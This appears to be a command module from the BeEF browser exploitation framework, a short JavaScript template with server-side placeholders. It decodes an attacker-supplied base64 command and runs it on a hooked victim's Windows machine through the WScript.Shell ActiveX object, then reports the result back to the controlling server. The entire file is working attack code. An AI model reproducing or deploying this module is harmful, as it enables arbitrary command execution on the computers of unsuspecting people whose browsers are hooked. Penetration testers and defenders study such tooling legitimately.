beef.execute(function() {
var cmd = beef.encode.base64.decode('<%= Base64.strict_encode64(@cmd) %>');
var result = "command was not sent";
try {
var shell = new ActiveXObject('WSCRIPT.Shell').Run(cmd);
if (shell.toString() == 0) {
result = "command sent";
} else {
result = "command failed";
}
} catch(e) {
result = "command failed";
}
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result);
});